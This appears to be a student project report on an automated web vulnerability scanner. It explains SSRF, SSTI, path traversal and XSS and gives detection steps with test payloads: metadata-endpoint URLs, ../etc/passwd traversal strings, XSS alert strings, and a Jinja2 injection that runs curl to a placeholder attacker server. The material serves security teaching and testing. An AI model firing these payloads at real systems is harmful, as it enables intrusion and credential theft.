1.1 Project problem  
Because of vulnerabilities like SQL injection, cross-site scripting (XSS), unsecured APIs, and incorrectly setup servers, cyberattacks are increasingly targeting modern web applications. Manual vulnerability identification takes a lot of effort, is prone to mistakes, and calls for specific knowledge. Many businesses, particularly small-to-medium-sized businesses (SMEs), lack the funding necessary to put strong security procedures in place, leaving their systems vulnerable to intrusions. In order to proactively identify and reduce risks, this project tackles the urgent need for an automated, easily available, and effective web vulnerability scanner.

1.2 Project Goals  
This project's primary objectives are to: 1. Create an automated web vulnerability scanner that finds and reports common security flaws.   
2. To enhance web applications' security posture by making it possible to identify and fix problems early.   
3. To offer an easy-to-use solution that companies, security teams, and developers of all technical backgrounds can employ.

## What is an automated web vulnerability ?

An automated online vulnerability scanner is a software program that combines pre-established rules, machine learning (ML), and simulated attack patterns to systematically find security flaws in servers, web apps, and APIs. By doing away with human penetration testing, it makes security assessments quick, scalable, and repeatable.

## Why are vulnerability scanners Important?

1. Cost-effectiveness: Lower the costs related to manual security audits.   
2. Proactive Defense: Find weaknesses before they are used by attackers.   
3. Compliance: Adhere to legal requirements (such as GDPR and PCI-DSS).   
4. Protection of Reputation: Avoid data breaches that undermine corporate confidence.   
5. Continuous Monitoring: Make DevOps pipelines (shift-left security) capable of real-time scanning.

## What the project covers

Traversal of the Path   
• Definition: Gains access to unauthorized files (such as /../../etc./passwd) by taking advantage of inadequate input sanitization.   
• Impact: System breach and data theft.   
• Detection: Check server responses for file disclosures by injecting traversal sequences (such as../, %2e%2e%2f).   
XSS, or cross-site scripting   
• Definition: Inserts harmful scripts, such as , into web pages.   
• Types include DOM-based (client-side), stored (permanent), and reflected (URL-based).   
• Detection: In HTML/JS contexts, submit payloads and look for unencoded output.

Request Forgery on the Server Side (SSRF)   
In other words, it compels a server to send unapproved internal queries, as to AWS metadata endpoints.   
• Impact: Theft of cloud credentials and internal network reconnaissance.   
• Detection: Send internal IP-based URLs (such as http://169.254.169.254) and track the replies.   
1.5.4 SSTI, or server-side template injection, is defined as the process of inserting malicious code into templating engines, such as Jinja2 and Smarty.   
• Impact: Data breaches and remote code execution (RCE).   
• Finding vulnerabilities: Use template syntax to test (for example, {{7\*7}} → 49 indicates vulnerability).

## Beneficiaries

• Developers: Make sure that CI/CD pipelines incorporate security.   
• Penetration testers: Quickly identify vulnerabilities.   
• Organizations: Lower audit expenses and breach risks.   
• End Users: Protect private information from fraud.

**Ch2**

## Server-side Request Forgery (SSRF)

When an attacker tricks a server-side application into sending HTTP requests to a desired domain, this is known as a server-side request forgery (SSRF) vulnerability. Due to this vulnerability, the attacker can send arbitrary external requests to the server.

**What is SSRF?**

A web security flaw known as "server-side request forgery" enables a hacker to make requests to an unauthorized location from a server-side application.   
  
The attacker may force the server to connect to internal-only services within the architecture of the company in a standard SSRF attack. In other situations, they might have the power to compel the server to establish connections with any external systems. Sensitive information, including authorization credentials, may be exposed.

**What is the impact of SSRF attacks?**

Unauthorized acts or access to data within the business are frequently the outcome of a successful SSRF attack. This may occur on other back-end systems that the application can connect to or within the susceptible application itself. The SSRF vulnerability may occasionally give an attacker the ability to execute commands arbitrarily.   
  
Malicious follow-on attacks may arise from an SSRF exploit that establishes links to external third-party systems. These can appear to originate from the entity hosting the vulnerable application.

## Server-side Template Injection (SSTI)

**What is server-side template injection?**

The ability of an attacker to insert a malicious payload into a template using native template syntax and have it run server-side is known as server-side template injection.   
  
The purpose of template engines is to create web pages by fusing dynamic input with set templates. When user input is concatenated straight into a template instead of being sent in as data, server-side template injection attacks may be launched. This gives attackers the ability to alter the template engine by injecting arbitrary template directives, which frequently gives them total control over the server. Compared to a standard client-side template injection, server-side template injection payloads are potentially far more harmful because they are supplied and analyzed server-side, as the name implies.

## Path Traversal

**What is path traversal?**

Directory traversal is another name for path traversal. These flaws give an attacker the ability to read any file on the server hosting an application. This could consist of:   
  
Data and application code.   
Back-end system credentials.   
operating system files that are sensitive.   
An attacker may occasionally be able to write to any file on the server, changing application data or behavior and eventually gaining complete control of the system.

## Cross-Site Scripting (XSS)

In order for XSS attacks to function on a user's browser, a malicious script must be injected into a benign website. To put it another way, XSS attacks cause harm by taking advantage of the user's faith in the weak web application.

**Types of XSS**

1. Reflected XSS: This attack depends on the user seeing their own input that they have manipulated. An attacker would attempt to insert a malicious script into the search term, for example, if you type in a phrase and the page that results shows the term you typed in (reflected).   
2. Stored XSS: This attack uses user input that is kept in the database of the website. For instance, an attacker might attempt to include a malicious script in a user's product review so that it runs in other users' browsers if users are able to write reviews that are saved in a database (stored) and visible to other users.

3. DOM-based XSS: This attack modifies pre-existing page components without requiring them to be reflected or saved on the server by taking advantage of flaws in the Document Object Model (DOM). Of the three vulnerabilities, this one occurs the least frequently.

**Causes and Implications**

A web security flaw known as cross-site scripting (XSS) enables a hacker to insert harmful code into a page that other users are viewing. As a result, even if the website they are visiting is thought to be harmless, the unwary users wind up running the illegal script in their browsers. Therefore, because it preys on users' trust in a website, XSS might pose a serious threat.

**What Makes XSS Possible**

Web apps continue to have XSS vulnerabilities for a variety of reasons. We list some of them below.   
1) Inadequate input sanitization and validation   
Web apps use user data—such as that obtained via forms—to dynamically generate HTML pages. As a result, dangerous scripts might be included in the legitimate input and, if the browser is not sufficiently cleaned, will eventually be executed.

2) Lack output encoding   
To change how a web browser interprets and presents a page, the user can utilize different characters. Characters like <, >, ", ', and & must be correctly encoded into their corresponding HTML encoding for the HTML portion. JavaScript requires extra care with escape characters ', ", and \. One of the main causes of XSS vulnerabilities is incorrect encoding of user-supplied data.

3) Using security headers incorrectly   
XSS vulnerabilities can be lessened with the use of different security headers. For instance, by specifying which sources are reliable for executable scripts, the Content Security Policy (CSP) reduces the possibility of cross-site scripting attacks. An attacker may find it simpler to carry out their XSS payloads if the CSP is configured incorrectly, for example, by using unsafe-inline or unsafe-eval directives incorrectly or by having excessively permissive rules.

4) Language and framework flaws   
Some ancient web frameworks have unpatched XSS vulnerabilities, while others lacked XSS security measures. Contemporary web frameworks are built to automatically avoid XSS and quickly fix any vulnerabilities that are found.

5) External libraries   
Even if the main web application is not susceptible, adding third-party libraries can result in XSS vulnerabilities.

**Implications of XSS**

There are many implications of XSS. Below, we list a few of them.

1) The act of hijacking a session   
If successful, attackers can take over the session and assume the identity of the victim because XSS can be used to steal session cookies.   
2) Credential theft and phishing   
Attackers can employ XSS to provide the user a phony login prompt. In one recent instance, a dialogue box asking users to login to their cryptocurrency wallet partially obscured the browser's content.

3) Social engineering  
An attacker can use XSS to make a pop-up or alert that appears authentic on a reliable website. This may deceive visitors into visiting malicious websites or clicking on harmful links.

**4) Content manipulation and defacement**

An attacker may use XSS to alter the website for additional objectives, such as harming the company's reputation, in addition to phishing and social engineering.

**5) Data exfiltration**

Any data that is visible in the user's browser can be accessed and exfiltrated by XSS. Sensitive data including financial and personal information are included in this.

**6) Malware installation**

XSS can be used to distribute malware by a skilled attacker. It is specifically capable of delivering drive-by download attacks on the website that is at risk.

A malicious script that is reflected to the user's browser, frequently through a contrived URL or form submission, is known as a "reflected XSS" vulnerability. Think considering a search query that has <script>alert(document.cookie)</script>; even if they were to examine it closely, many users wouldn't be wary of such a URL. It will be run within the user's browser context if it is processed by a web application that is susceptible.

When a user searches for a term and the search string appears exactly as it is on the results page, this is a straightforward reflected XSS issue. The attacker can easily exploit this straightforward situation.   
Finding these vulnerabilities can be challenging, but addressing them is simple. User input like <script>alert('XSS')</script> needs to be HTML-encoded or sanitized to &lt;script&gt;alert('XSS')&lt;/script&gt;..

A online application security flaw known as stored XSS, or persistent XSS, arises when the program saves user-supplied information and then incorporates it into other users' web pages without properly sanitizing or escaping it. User comments, product reviews, web forum discussions, and other data warehouses are a few examples. To put it another way, stored XSS occurs when user input is preserved in a data store and then used in websites that are seen by other users without sufficient escaping.

An attacker starts stored cross-site scripting (XSS) by inserting a malicious script into a web application's input field. The way the online application handles the data in the forum post, profile information area, or comment box may be the weak point. The malicious script that was injected runs in other users' browsers when they view this cached material. The script can carry out a variety of tasks, including as stealing session cookies and acting on the user's behalf without getting their permission.

# Chapter 3: Detection Methodologies

**SSRF Detection Technique**

**Step 1: Identify input points**

Start by looking for any part of the web application or API that accepts user-supplied URLs or makes requests to other servers on your behalf. These often show up in parameters like:

* url=
* redirect=
* img=
* fetch=

**Step 2: Test with Local/Internal IPs**

test if these endpoints can be tricked into making requests to internal or sensitive resources. Try replacing the URL with internal IPs or addresses such as:

* http://127.0.0.1
* http://localhost
* http://169.254.169.254 (used for AWS metadata)
* Private IP ranges like http://192.168.x.x or http://10.x.x.x

Example:

<http://target.com/fetch?url=http://127.0.0.1>

Step 3: Use Out-of-Band Techniques

Set up your own server or use services like Burp Collaborator or DNSlog.cn.

Then supply a URL that points to your server:

<http://target.com/fetch?url=http://your-server.com>

If your server logs any incoming requests from the target, that confirms the application is making the request on your behalf — another sign of SSRF.

Step 4: Automate the Scan

Speed things up using tools like:

* Burp Suite Active Scanner
* OWASP ZAP
* Nuclei with SSRF-specific templates

These tools can automatically test common SSRF patterns and flag potential issues.

Step 5: Review Responses and Logs

Finally, pay close attention to how the server responds. Things to look out for:

* Differences in error messages
* Noticeable delays or timeouts
* If you have backend access, check logs for unexpected outbound requests triggered by your input

Example Payloads to Try

Payload Purpose

http://127.0.0.1 Loopback test

http://localhost Loopback test

http://169.254.169.254 Cloud metadata service

file:///etc/passwd Local file inclusion (sometimes SSRF-related)

http://yourserver.com Out-of-band detection

Tools for SSRF Detection

• Burp Suite Pro: Has SSRF active scanning and collaborator feature

• OWASP ZAP: Free alternative with active scanning

• Nuclei: Command-line scanner with SSRF templates

nuclei -t nuclei-templates/ssrf/ -u http://target.com

**SSTI Detection Technique**

What is SSTI?

• An attacker can execute arbitrary code or read private information on the server by injecting malicious template code into a web application's template engine through a vulnerability known as SSTI (Server-Side Template Injection).

1. Identify Input Points

• Look for user inputs that are rendered in templates without proper sanitization.

• Common places: search bars, feedback forms, URL parameters, or any place that reflects user input.

2. Inject Template Syntax

• Try injecting special characters and template syntax from popular template engines.

• Examples by template engine:

Template Engine Test Payloads

Jinja2 (Python) {{7\*7}}, {{config}}, {{().\_\_class\_\_.\_\_bases\_\_}}

Twig (PHP) {{7\*7}}, {{\_self}}

Freemarker (Java) ${7\*7}, ${"freemarker"?eval}

Velocity (Java) #set($x=7\*7)$x

• If the server renders 49 or some evaluated output instead of the raw payload, it’s likely vulnerable.

3. Look for Error Messages

• Inject malformed template syntax, e.g., {{7\*}} or ${7\*}, to trigger template errors.

• Server error messages often reveal the template engine type or vulnerability.

4. Automated Scanning

• Use scanners that test common SSTI payloads:

o Burp Suite Pro with SSTI active scanning.

o OWASP ZAP with SSTI plugins.

o Nuclei templates for SSTI.

5. Out-of-Band (OOB) Techniques

• Inject payloads that make the server perform external HTTP/DNS requests to an attacker-controlled server.

• Example (Jinja2):

{{ config.\_\_class\_\_.\_\_init\_\_.\_\_globals\_\_['os'].popen('curl http://your-server.com') }}

• Monitor your server logs for incoming requests.

6. Code Review

• Review the template rendering logic.

• Look for use of user input directly passed into rendering functions without sanitization or escaping.

• Identify the template engine in use to tailor payloads

**Path Traversal Detection Technique**

What is Path Traversal?

• Path Traversal (Directory Traversal) is a vulnerability where an attacker manipulates file path input to access files or directories outside the intended folder.

• Attackers often use sequences like ../ to navigate to parent directories and read sensitive files.

\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_

Path Traversal Detection Techniques

1. Identify Input Points

• Look for inputs that specify file paths or filenames, such as:

o URL parameters (e.g., file=, page=, download=)

o Form inputs or API parameters that interact with the file system.

2. Manual Payload Injection

• Inject typical traversal sequences and observe responses:

o ../ or ..\\ (for Windows)

o Repeated sequences to go up multiple directories: ../../../../etc/passwd

o URL encoded versions like %2e%2e%2f or %2e%2e%5c

• Example:

http://target.com/download?file=../../../../etc/passwd

• If the server returns the contents of /etc/passwd, path traversal exists.

3. Error Message Analysis

• Inject malformed or partial traversal strings to trigger errors.

• Errors revealing file system paths or permission issues hint at vulnerability.

4. Automated Scanners

• Use scanning tools that test path traversal payloads:

o Burp Suite with directory traversal tests.

o OWASP ZAP.

o Nuclei with path traversal templates.

5. Out-of-Band (OOB) Detection

• If the server allows writing or file creation, try injecting paths that cause the server to create files in attacker-controlled locations or trigger external callbacks.

6. Source Code Review

• Look at file path handling in the backend code.

• Check if user input is directly concatenated to file paths without validation or sanitization.

• Ensure proper use of path normalization functions

**XSS Detection Technique**

What is XSS?

XSS (Cross-Site Scripting) is a security flaw that lets attackers inject malicious scripts into web pages viewed by others.

It’s often used to steal cookies, hijack user sessions, or deface websites.

XSS Detection Techniques

1. Identify Input Points

• Find user inputs reflected in web pages, such as:

o Search boxes

o Comment sections

o URL parameters

o Form inputs

2. Manual Payload Injection

• Inject common XSS test payloads and observe if they execute (e.g., alert pop-ups).

• Examples of simple payloads:

Payload Description

<script>alert(1)</script> Basic script alert

"><script>alert(1)</script> Break out of HTML attribute

<img src=x onerror=alert(1)> Event handler in tag

'"><svg/onload=alert(1)> SVG payload with onload event

• If an alert box or script executes, XSS exists.

3. Check Contexts

• Test payloads based on injection context:

o HTML body, attribute, JavaScript context.

• Use encoded payloads to bypass filters (e.g., URL encoding, HTML entities).

4. Use Automated Scanners

• Tools like:

o Burp Suite (Active Scanner for XSS)

o OWASP ZAP

o Netsparker

o Acunetix

• These tools inject many XSS payloads automatically and report vulnerabilities.

5. Analyze HTTP Responses

• Look for reflected payloads in the HTML source or response body.

• Check if payloads are sanitized, encoded, or escaped.

6. Out-of-Band (OOB) XSS

• Use external services like Burp Collaborator or Beeceptor.

• Inject payloads that trigger callbacks to these services if scripts run in victims’ browsers.